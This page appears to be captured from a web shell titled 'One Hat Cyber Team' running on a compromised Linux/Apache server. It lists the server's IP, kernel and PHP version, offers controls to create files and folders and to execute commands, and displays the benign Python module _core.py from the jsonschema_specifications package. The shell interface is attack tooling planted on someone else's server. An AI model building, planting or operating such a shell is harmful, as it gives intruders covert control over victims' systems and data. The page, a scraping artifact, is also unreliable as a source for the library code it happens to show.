⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.117
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
jsonschema_specifications
/
View File Name :
_core.py
""" Load all the JSON Schema specification's official schemas. """ import json try: from importlib.resources import files except ImportError: from importlib_resources import ( # type: ignore[import-not-found, no-redef] files, ) from referencing import Resource def _schemas(): """ All schemas we ship. """ # importlib.resources.abc.Traversal doesn't have nice ways to do this that # I'm aware of... # # It can't recurse arbitrarily, e.g. no ``.glob()``. # # So this takes some liberties given the real layout of what we ship # (only 2 levels of nesting, no directories within the second level). for version in files(__package__).joinpath("schemas").iterdir(): if version.name.startswith("."): continue for child in version.iterdir(): children = [child] if child.is_file() else child.iterdir() for path in children: if path.name.startswith("."): continue contents = json.loads(path.read_text(encoding="utf-8")) yield Resource.from_contents(contents)